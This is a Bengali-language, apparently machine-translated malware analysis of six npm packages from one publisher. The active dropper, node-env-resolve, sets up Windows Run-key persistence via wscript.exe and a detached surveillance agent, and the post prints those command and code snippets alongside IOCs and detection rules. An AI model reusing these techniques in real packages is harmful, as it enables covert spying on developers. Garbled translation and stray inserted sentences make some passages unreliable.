TL; ডিআর
২০২৬ সালের ১ এপ্রিল থেকে ৩ মে-র মধ্যে, একজন এনপিএম পাবলিশার, user0001যাচাইবিহীন জিমেইল ঠিকানা দিয়ে নিবন্ধিত tanvisoul9@gmail.comইচ্ছাকৃতভাবে সাদামাটা ও অবকাঠামো-সম্পর্কিত নামের ছয়টি প্যাকেজ নীরবে প্রকাশ করা হয়েছে: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, এবং node-env-resolve.
সর্বশেষ দুটি সংস্করণ node-env-resolve১.০.৭ এবং ১.০.৮ সংস্করণ দুটিকে ২ মে জাইজেনির ম্যালওয়্যার আর্লি ওয়ার্নিং (MEW) সিস্টেম দ্বারা চিহ্নিত করা হয়েছিল এবং ৩ মে ক্ষতিকর হিসেবে নিশ্চিত করা হয়।
ইমপ্লান্টটি যা নয়, তার জন্যই এটি অস্বাভাবিক: এতে কোনো টেলিগ্রাম বট নেই, কোনো OAST কলব্যাক নেই, কোনো কিংকর্তব্যবিমূঢ়তাএবং ইনস্টলের সময় AWS ক্রেডেনশিয়াল হাতিয়ে নেওয়ার কোনো চেষ্টা করা হয়নি। পরিবর্তে, postinstall.js একটি HKCU রান কী ব্যবহার করে একটি উইন্ডোজ বুট-পার্সিস্টেন্স এন্ট্রি স্থাপন করে যা চালু করে wscript.exe একটি VBS স্টাবের বিপরীতে। তারপর এটি একটি বিচ্ছিন্ন Node.js এজেন্ট তৈরি করে যা মাইক্রোফোন ক্যাপচার, ব্রাউজার-হিস্টরি চুরি, স্ক্রিনশট নেওয়া এবং মাউস/কিবোর্ড সিমুলেশনের জন্য মডিউলগুলো বান্ডল করে।
আমরা এই ক্লাস্টারটিকে বলছি দেবট্যাপকিটটি ডেভেলপারের মেশিনে চালু অবস্থায় রেখে যায়।
এই প্রতিবেদন লেখার সময় ছয়টি প্যাকেজই npm-এ লাইভ ছিল। আমরা সেগুলোকে রেজিস্ট্রির অ্যাবিউজ চ্যানেলে জমা দিয়েছি। অপসারণের অপেক্ষায় থাকা অবস্থায় ডিফেন্ডারদের উচিত পাবলিশারের কাছ থেকে যেকোনো ইনস্টল সরিয়ে নেওয়া।
ক্লাস্টার: ছয়টি প্যাকেজ, একজন প্রকাশক
প্রকাশকের অ্যাকাউন্ট user0001 যাচাই করা হয়নি। এর কোনো নেই SCM যাচাইকরণ, কোনো ডোমেইন-সংযুক্ত ইমেল নেই, এবং কোনো পূর্ববর্তী ইতিহাস নেই। জিমেইল হ্যান্ডেল tanvisoul9 আমাদের খুঁজে পাওয়া অন্য কোনো এনপিএম পাবলিশার রেকর্ডে এটি দেখা যায় না।
ছয়টি প্যাকেজেরই রক্ষণাবেক্ষণকারী একই, একই অ্যাকাউন্ট থেকে প্রকাশিত এবং একই বৈশিষ্ট্য রয়েছে। package.json গতানুগতিক। এখানে নেই repository, না homepage, এবং না description একটি লাইনের চেয়ে দীর্ঘ।
নামকরণের কৌশলটিই হলো আকর্ষণীয় অংশ। চিরাচরিত ডিপেন্ডেন্সি-কনফিউশন বা টাইপোস্কোয়াট ক্যাম্পেইনের মতো নয়, এই নামগুলোর কোনোটিই কোনো নির্দিষ্ট আপস্ট্রিম লাইব্রেরিকে লক্ষ্য করে রাখা হয়নি। বরং, এগুলোকে এমনভাবে সাজানো হয়েছে যাতে এগুলো একটি বাস্তব কাঠামোর মধ্যে মিশে যেতে পারে। package.json or npm ls আউটপুট।
| প্যাকেজ | প্রথম প্রকাশিত | সর্বশেষ সংস্করণ | সংস্করণ | ক্লাস্টারে ভূমিকা |
|---|---|---|---|---|
| সেন্ট্রালোগার | 2026-04-01 12:46 UTC | 1.0.9 | ১০, ১.০.০ থেকে ১.০.৯ পর্যন্ত | ক্লাস্টারের "লগিং ইউটিলিটি" কভার; সর্বপ্রথম প্রকাশ |
| ডোম-ইউটিলস-লাইট | 2026-04-14 07:36 UTC | 1.0.3 | 3 | জেনেরিক DOM-হেল্পার কভার |
| নোড-ফেচ-লাইট | 2026-04-19 10:22 UTC | 1.0.2 | 3 | নোড-ফেচ পরিবারের অনুকরণ করে |
| সংযোগকারী-এজেন্ট | 2026-04-25 05:12 UTC | 1.0.0 | 1 | সাধারণ নাম “এজেন্ট” |
| নোড-জিপ-রানটাইম | 2026-04-25 05:17 UTC | 1.0.0 | 1 | নেটিভ-মডিউল বিল্ড টুলিং অনুকরণ করে |
| নোড-এনভ-রিজলভ | 2026-04-25 05:21 UTC | 1.0.9 | ১০, ১.০.০ থেকে ১.০.৯ পর্যন্ত | সক্রিয় ড্রপার; সম্পূর্ণ ইমপ্লান্ট |
নাম যেমন centralogger, node-fetch-lite, এবং node-gyp-runtime এগুলো এমনভাবে ডিজাইন করা হয়েছে যাতে কোড রিভিউতে এগুলোকে বিতর্কহীন মনে হয়। এগুলো এমন জিনিসের মতো শোনায় যা একটি প্রজেক্টের ডিপেন্ডেন্সি ট্রিতে আগে থেকেই অন্তর্ভুক্ত থাকবে।
একজন নতুন, যাচাইবিহীন প্রকাশক এবং অনুপস্থিত রিপোজিটরি লিঙ্কের সাথে মিলিত হয়ে, এগুলো একটি চেনা প্যাটার্ন তৈরি করে: একজন অ্যাক্টর রেজিস্ট্রি-তে সহজ নামগুলো ছড়িয়ে দেয়, এবং তারপর গুরুত্বপূর্ণ নামটি নিয়ে দ্রুত কাজ চালিয়ে যায়। এই ক্ষেত্রে, node-env-resolve আট দিনে দশটি সংস্করণ পেয়েছি।
উইন্ডোজ ডেভ বক্সে যা আসে
ক্ষতিকর শৃঙ্খল node-env-resolve:1.0.8 এটি সংক্ষিপ্ত, সরাসরি এবং একটি npm RAT হিসেবে অসাধারণভাবে বৈশিষ্ট্য-সমৃদ্ধ।
পোস্টইনস্টল: স্থায়িত্ব এবং বিচ্ছিন্ন এজেন্ট
package.json একটিমাত্র ইনস্টল হুক ঘোষণা করে:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js ক্রমানুসারে তিনটি কাজ করে।
প্রথমে, এটি npm ট্রি-এর বাইরে একটি ইনস্টলেশন ডিরেক্টরি তৈরি করে। স্ক্রিপ্টে রানটাইমে পাথটি গণনা করা হয়, যা নিম্নরূপ: INSTALL_DIRতারপর এটি একটি অভ্যন্তরীণ প্রক্রিয়া চালায়। execSync('npm install --production --silent ...') ইমপ্লান্টের রানটাইম নির্ভরতাগুলো টানার জন্য এর ভিতরে। এটি এজেন্টটিকে ডিস্কের কোথাও ম্যানুয়ালি রাখে। node_modules নিরীক্ষায় পাওয়া যাবে না।
দ্বিতীয়ত, এটি একটি VBS লঞ্চার লেখে এবং বুট স্থায়িত্বের জন্য এটিকে রেজিস্টার করে:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe উইন্ডোজ স্ক্রিপ্ট হোস্ট হলো একটি স্বাক্ষরিত মাইক্রোসফট বাইনারি যা চালায় .vbs কনসোল উইন্ডো ছাড়া ফাইল। সেটা হলো প্রি।cisএই কারণেই অটোরান স্টাবগুলির জন্য এটি পছন্দ করা হয়।
এছাড়াও একটি মিল আছে reg delete ভিতরের পথ src/index.jsযা থেকে বোঝা যায়, ইমপ্লান্টটি অপারেটরের নির্দেশে সহজে ও পরিষ্কারভাবে অপসারণযোগ্য করে ডিজাইন করা হয়েছে।
তৃতীয়ত, এটি একটি বিচ্ছিন্ন চাইল্ড প্রসেস তৈরি করে:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })এখানে দুটি বিষয় গুরুত্বপূর্ণ।
SERVER_URL এটি এনভায়রনমেন্ট থেকে পড়া হয়। ফলে, C2 এন্ডপয়েন্টটি প্রতিটি ডেপ্লয়মেন্টের জন্য কনফিগারযোগ্য এবং প্যাকেজের সাথে স্থায়ীভাবে যুক্ত থাকে না। এই ছোট কিন্তু সুচিন্তিত সিদ্ধান্তটি বেশিরভাগ স্ট্যাটিক-আইওসি সুইপকে অকার্যকর করে দেয়।
এছাড়াও, সৃষ্ট চাইল্ড প্যারেন্টের সম্পূর্ণ এনভায়রনমেন্ট উত্তরাধিকার সূত্রে পায়। অতএব, যেকোনো NPM_TOKEN, AWS_*, GITHUB_TOKENঅথবা, ইনস্টলের সময় ডেভেলপার শেলে উপস্থিত SSH-এজেন্ট সকেটটি দীর্ঘস্থায়ী এজেন্টের মেমরিতে স্থানান্তরিত হয়।
এজেন্ট যা কিছু পাঠায়
বান্ডিল src/ ট্রি-টিতে তিনটি মডিউল রয়েছে, যাদের নামগুলোই তাদের পরিচয় তুলে ধরে: audioCapture.js, browserHistory.js, এবং systemInfo.js.
স্টেজিংয়ের সময় সমাধান করা রানটাইম নির্ভরতার তালিকা। npm installসেগুলোকে সমর্থন করে।
এই পদ্ধতি একটি বিশৃঙ্খল ঘটনাকে নিয়ন্ত্রিত প্রতিক্রিয়ায় রূপান্তরিত করে।
অন্ধভাবে প্রতিক্রিয়া দেখানোর পরিবর্তে, দলগুলো কাজ করে সুস্পষ্ট অগ্রাধিকার এবং দ্রুত প্রতিকার.
| বশ্যতা | এই প্রসঙ্গে এর উদ্দেশ্য কী |
|---|---|
| স্ক্রিনশট-ডেস্কটপ | পর্যায়ক্রমিক স্ক্রিন ক্যাপচার |
| @nut-tree-fork/nut-js | মাউস এবং কীবোর্ড অটোমেশন / ইনপুট সিমুলেশন |
| better-sqlite3 | Chrome, Edge, এবং Firefox-এর History SQLite ডেটাবেসগুলির সরাসরি রিড |
| অ্যাডম-জিপ | বহির্গমনের আগে সংগৃহীত প্রত্নবস্তু বান্ডিল করা |
| তীব্র | স্ক্রিনশট এবং ছবির আর্টিফ্যাক্টগুলির আকার পরিবর্তন / সংকুচিত করা |
| সকেট.আইও-ক্লায়েন্ট | স্থায়ী দ্বিমুখী C2 চ্যানেল |
| নোড-মেশিন-আইডি | ভুক্তভোগী শনাক্তকরণের জন্য প্রতি-হোস্ট স্থিতিশীল ফিঙ্গারপ্রিন্ট |
systemInfo.js কল os.networkInterfaces() প্রথম বীকনের আগে অতিরিক্ত ফিঙ্গারপ্রিন্টিংয়ের জন্য।
কেন অডিও ক্যাপচারটি সবচেয়ে উল্লেখযোগ্য সংকেত
MEW-তে আমরা যে বেশিরভাগ npm RAT বাছাই করি, সেগুলো ইনস্টল-সময়ের গোপনীয়তা চুরির কারণে থেমে যায়। তারা পড়ে ~/.npmrc, পড়া ~/.aws/credentialsস্ক্র্যাপ process.envএকটি ওয়েবহুকে POST করে বেরিয়ে যাওয়া। এটি একটি স্ম্যাশ-অ্যান্ড-গ্র্যাব অর্থনৈতিক মডেলের সাথে খাপ খায়। ক্রেডেনশিয়ালগুলোর স্থায়িত্ব কম থাকে, এবং আক্রমণকারীকে দ্রুত তা থেকে অর্থ উপার্জন করতে হয়।
node-env-resolve আকৃতিতে ভিন্ন।
স্থায়িত্বটি রিবুটের পরেও টিকে থাকার জন্য সেট আপ করা হয়েছে। এজেন্টটি বিচ্ছিন্ন এবং দীর্ঘজীবী অবস্থায় চলে। wscript.exeএর সাথে থাকা কিটটি কোনো ডেভেলপারের মেশিনে স্থায়ীভাবে থাকার জন্যই, হুট করে নিয়ে যাওয়ার জন্য নয়: একটি মাইক্রোফোন রেকর্ডার, একটি কিবোর্ড/মাউস ড্রাইভার, সম্পূর্ণ ব্রাউজার-হিস্ট্রি ইনজেস্ট, স্ক্রিন ক্যাপচার, এবং একটি কনফিগারযোগ্য C2-এর সাথে সংযোগকারী একটি ইন্টারেক্টিভ Socket.IO চ্যানেল।
বিশেষ করে মাইক্রোফোন ক্যাপচার হলো সেই সীমা যা এই ক্যাম্পেইনটি অতিক্রম করে, যা বেশিরভাগ এনপিএম ম্যালওয়্যার করে না।
ডেভেলপার ওয়ার্কস্টেশন ক্রমশ এমন একটি জায়গায় পরিণত হচ্ছে, যেখানে ডেভেলপাররা স্ট্যান্ড-আপ মিটিং, গ্রাহকদের সাথে কল, ডিজাইন নিয়ে আলোচনা এবং অন-কল ব্রিজ পরিচালনা করেন। মাইক্রোফোন রেকর্ডকারী একটি ইমপ্লান্ট আসলে ডেভেলপারের এনপিএম টোকেনের পেছনে থাকে না। এটি ল্যাপটপের সামনে ডেভেলপার যা বলেন, তার পেছনেই থাকে।
এই সক্ষমতাগুলো, সেইসাথে তথ্যের গোপনীয়তার অভাব এবং ইনস্টলেশনের সময় কোনো চমকপ্রদ তথ্য পাচারের অনুপস্থিতি, সুযোগসন্ধানী পরিচয়পত্র চুরির পরিবর্তে নির্দিষ্ট লক্ষ্যবস্তুতে প্রবেশের জন্য পূর্বপ্রস্তুতি হিসেবেই প্রতীয়মান হয়।
আমরা শুধু এর ভিত্তিতেই দায়ভার দাবি করছি না। আমরা কার্যপরিধিটি উল্লেখ করছি।

আট দিনের পুনরাবৃত্তির চক্র node-env-resolve টাইমলাইনে এটিই সবচেয়ে কার্যকরীভাবে তাৎপর্যপূর্ণ বিবরণ।
এটি এমন কোনো ড্রপ নয় যা একবার লাগিয়ে দিলেই কাজ শেষ। প্রকাশক সক্রিয়ভাবে ড্রপারটি রক্ষণাবেক্ষণ করছেন, যার সাধারণত দুটি অর্থ হতে পারে। হয় তারা ব্যাপক পরিসরে স্থাপনের আগে পরীক্ষামূলক পরিবেশে এটিকে নিখুঁত করছেন, অথবা তাদের কাছে ইতোমধ্যেই ইনস্টলের ডেটা আসছে এবং তারা সে অনুযায়ী ব্যবস্থা নিচ্ছেন।
অন্য পাঁচটি প্যাকেজ প্রাথমিকভাবে প্রকাশের পর সেগুলোতে কার্যত কোনো পরিবর্তন দেখা যায়নি। এটি সহায়ক ক্লাস্টারের জন্য একটি "একবার পর্যায়ভুক্ত করে নাম অপরিবর্তিত রাখা" পদ্ধতির সাথে সামঞ্জস্যপূর্ণ, যেখানে প্রকৌশলগত প্রচেষ্টা মূল কাজটি সম্পাদনকারী প্যাকেজটির উপর কেন্দ্রীভূত থাকে।
উৎস: সামান্য সূত্র, কিন্তু কোনো চূড়ান্ত সিদ্ধান্ত নেই
প্রকাশ্য ওএসআইএনটি সংকেতগুলো ক্ষীণ, এবং আমরা সেগুলোকে প্রসারিত করব না। যা পর্যবেক্ষণযোগ্য:
জিমেইল হ্যান্ডেল tanvisoul9 এটি আংশিকভাবে দক্ষিণ এশীয় নাম ‘তানভী’-র মতো। এটি একটি দুর্বল সংকেত। জিমেইল হ্যান্ডেল কোনো পরিচয় নয়, এবং শেষের অংশটি soul9 এটি সাধারণ। শুধুমাত্র একটি ইমেলের লোকাল-পার্ট থেকে ভৌগোলিক অবস্থান অনুমান করা নিরাপদ নয়।
কোড স্টাইলটি সাধারণ Node.js: standard লাইব্রেরি কল যেমন os, child_process, spawn, এবং reg addএখানে কোনো দুর্বোধ্যতা, স্ট্রিং রোটেশন বা অ্যান্টি-ডিবাগ লজিক নেই। লেখক উইন্ডোজ রেজিস্ট্রি প্রিমিটিভ এবং ডিটাচড-চাইল্ড-প্রসেস অর্কেস্ট্রেশনে স্বচ্ছন্দ, কিন্তু এমন কোনো আরও গোপন কৌশল ব্যবহারের চেষ্টা করছেন বলে মনে হয় না যা তারা সম্ভবত ব্যবহার করতে পারতেন।
নির্ভরশীলতাগুলো সম্পূর্ণ সহজলভ্য এবং সুপরিচিত: screenshot-desktop, nut-js, better-sqlite3, এবং socket.io-clientএখানে কোনো কাস্টম প্রোটোকল, একেবারে নতুন করে তৈরি করা কোনো C2 স্ট্যাক, বা পাঠ্যপুস্তকের বাইরে কোনো অভিনব পারসিস্টেন্স কৌশল নেই। এইচকেসিইউ রান কীইনি একজন দক্ষ ইন্টিগ্রেটর, কোনো টুল নির্মাতা নন।
প্রকাশিত আর্টিফ্যাক্টগুলোর মধ্যে আমরা ইংরেজি ছাড়া অন্য কোনো স্ট্রিং, এমবেডেড কমেন্ট, লোকেল ডেটা বা কম্পাইলার-আউটপুট টাইমজোন ফিঙ্গারপ্রিন্ট খুঁজে পাইনি।
আমরা আমাদের ট্র্যাক করা পূর্ববর্তী ক্যাম্পেইনগুলির সাথে কোডের ওভারল্যাপ পরীক্ষা করেছি, যার মধ্যে অন্তর্ভুক্ত রয়েছে শাই হুলুদ, আউলিভিয়ন, বিল্ডকাইট, এবং সাম্প্রতিক হেবাই / claude-code-best Anthropic-CLI ক্লোন পরিবার। আমরা কোনোটিই খুঁজে পাইনি: কোনো অভিন্ন C2 প্যাটার্ন, অভিন্ন ফাইল লেআউট এবং অভিন্ন ইডিয়ম নেই।
আমরা যা বলব না তা হলো: এটি কোনো রাষ্ট্রীয় পক্ষ, কোনো পরিচিত গোষ্ঠী, বা ভৌগোলিকভাবে কোনো নির্দিষ্ট দেশের সঙ্গে যুক্ত।
কার্যপ্রণালীটি একটি ছোট, মাঝারি দক্ষতাসম্পন্ন দলের ডেভেলপার-ওয়ার্কস্টেশন নজরদারির কাজের সাথে সামঞ্জস্যপূর্ণ। সম্ভবত এই অ্যাক্সেসের পরবর্তী ব্যবহারের মাধ্যমে এটি আর্থিকভাবে লাভবান হয়, তবে এটি অন্য কোনো ক্রেতার জন্য ‘রিকনসান্স-অ্যাজ-এ-সার্ভিস’ হিসেবেও কাজ করতে পারে।
দুটি পরোক্ষ বিষয় এই ব্যাখ্যাকে সমর্থন করে: মনোযোগ আকর্ষণকারী তথ্য পাচারের কৌশল পরিহার করা, যা ক্লাস্টারটিকে দ্রুত ধ্বংস করে দেবে, যেমন টেলিগ্রাম বট। oastify.comঅথবা ক্যানারিটোকেন, এবং ইচ্ছাকৃতভাবে সাদামাটা প্যাকেজের নামগুলো, যা অল্প সময়ের মধ্যে বিপুল পরিমাণে ইনস্টল হওয়ার চেয়ে ধীরে ধীরে এবং দীর্ঘমেয়াদী ইনস্টলকে বেশি প্রাধান্য দেয়।
আপসের সূচক এবং সনাক্তকরণ
| প্যাকেজ এবং প্রকাশক | |
|---|---|
| ক্ষেত্র | মূল্য |
| এনপিএম প্রকাশক | user0001 |
| প্রকাশকের ইমেল | tanvisoul9@gmail.com, যাচাইবিহীন |
| প্যাকেজ | centrallogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| ক্ষতিকারক হিসেবে নিশ্চিত | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| হোস্ট আর্টিফ্যাক্টস | |
|---|---|
| আদর্শ | মূল্য |
| অধ্যবসায় চাবি | HKCU\সফটওয়্যার\মাইক্রোসফট\উইন্ডোজ\কারেন্টভার্সন\রান |
| স্থায়িত্ব মান | ভেরিয়েবলের নাম; wscript.exe " ফর্মের ডেটা \\ .vbs" |
| হুক ইনস্টল করুন | পোস্টইনস্টল: প্যাকেজ ম্যানিফেস্টে node postinstall.js |
| ইমপ্লান্ট মডিউল | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| স্টেজিং ডিরেক্টরি | INSTALL_DIR প্রজেক্টের node_modules-এর বাইরে নির্ধারিত হয়; এর অবস্থান ইনস্টলের সময় postinstall.js দ্বারা সেট করা হয়। |
| নেটওয়ার্ক | |
|---|---|
| আদর্শ | মূল্য |
| C2 পরিবহন | সকেট.আইও-ক্লায়েন্ট, স্থায়ী দ্বিমুখী চ্যানেল |
| C2 প্রান্তবিন্দু | SERVER_URL এনভায়রনমেন্ট ভেরিয়েবলের মাধ্যমে এজেন্টকে সরবরাহ করা হয়; প্রকাশিত আর্টিফ্যাক্টগুলিতে হার্ড-কোড করা থাকে না। |
সনাক্তকরণ নোট
দুটি নিয়ম C2 এন্ডপয়েন্টের প্রয়োজন ছাড়াই এই ফ্যামিলিটিকে শনাক্ত করে।
প্রথমে, পোস্টইনস্টল স্ক্রিপ্টগুলিকে চিহ্নিত করুন যেগুলি একটি অভ্যন্তরীণ কাজ সম্পাদন করে। npm install প্যাকেজের নিজস্ব ডিরেক্টরির বাইরের কোনো পাথে। যেকোনো বৈধ প্রি-বিল্ড ডাউনলোডার, যেমন node-gyp পুনর্নির্মাণ করে বা পূর্ব-নির্মিত বাইনারি ডাউনলোডার, প্যাকেজের ভিতরে বা প্ল্যাটফর্মে লেখে।standard যাচাইকৃত হ্যাশ সহ ক্যাশে পাথ। এটি নতুন তৈরি করা পাথে লেখে না। INSTALL_DIR ডিস্কের অন্য কোথাও।
দ্বিতীয়ত, পোস্টইনস্টল স্ক্রিপ্টগুলিকে চিহ্নিত করুন যেগুলি সমস্যা তৈরি করে reg add HKCU\…\Run সঙ্গে wscript.exe লঞ্চার হিসেবে। একটি npm প্যাকেজ থেকে এটি মূলত কখনোই বৈধ নয়। এটিকে চিহ্নিত করুন এবং আলাদা করে রাখুন।
পরবর্তী সিibling প্যাকেজটি নিশ্চিত হওয়ার আগেই শনাক্ত করার জন্য তৃতীয় একটি হিউরিস্টিক কার্যকর: একটি নতুন npm publisher যার কোনো SCM যাচাইকরণ, একটি জিমেইল ইমেল, না repository একই ক্ষেত্রে একাধিক সংক্ষিপ্ত, সাধারণ, পরিকাঠামো-সদৃশ প্যাকেজের নাম কয়েক দিনের ব্যবধানে প্রকাশিত হওয়াটাই, শুধুমাত্র এই একটি বিষয়ই, হাতে-কলমে পর্যালোচনার জন্য যথেষ্ট।
এনপিএম রেজিস্ট্রি-তে বিষয়টি জানানো হয়েছে। পাবলিশার অ্যাকাউন্টটি সরিয়ে ফেলা হলে আমরা এই পোস্টটি আপডেট করব।






